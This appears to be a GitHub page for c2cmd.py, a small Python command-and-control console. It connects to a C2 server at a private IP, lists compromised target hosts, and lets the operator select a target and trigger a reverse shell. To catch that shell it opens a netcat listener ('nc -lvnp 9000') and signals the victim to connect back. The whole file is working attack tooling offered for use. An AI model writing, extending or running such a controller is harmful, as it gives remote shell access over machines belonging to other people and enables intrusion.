-
Notifications
You must be signed in to change notification settings - Fork 0
/
c2cmd.py
71 lines (62 loc) · 1.87 KB
/
c2cmd.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#/usr/bin env python3
import socket,os
from cmd import Cmd
from time import sleep
class C2cmd(Cmd):
def __init__(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect(("192.168.1.134",7000))
self.s.send(b"MASTER")
super().__init__()
self.prompt = "(c&c) "
self.target = ""
self.attack = ""
def do_exit(self,args):
return True
def help_exit(self):
print("Close the Command & Control shell.")
def do_list(self,args):
self.s.send(b'l')
print("CONNECTIONS")
i = 0
string = "["+str(i)+"] "
while True:
data = self.s.recv(1024)
if data == b'q' or data == b'':
break
data = data.decode("utf-8")
if len(data) > 5:
string = string+data+":"
else:
string = string+data
i += 1
print(string)
string = "["+str(i)+"] "
def help_list(self):
print("Show the targets list")
def do_select(self,args):
args = args.split()
if len(args) == 2:
self.target = args[0]
self.attack = args[1]
else:
self.help_select()
def help_select(self):
print("Select a target.")
print("SYNTAX")
print("\tselect [TARGET ID] [ATTACK ID]")
def do_info(self,args):
print(f"TARGET ID: {self.target}")
print(f"ATTACK ID: {self.attack}")
def do_attacks(self,args):
print("ATTACKS")
print("[0] Reverse shell")
def do_run(self,args):
if self.attack == "0":
os.system('gnome-terminal -- nc -lvnp 9000')
self.s.send(b'c')
sleep(0.1)
self.s.send((self.target+self.attack).encode("utf-8"))
if __name__ == "__main__":
shell = C2cmd()
shell.cmdloop()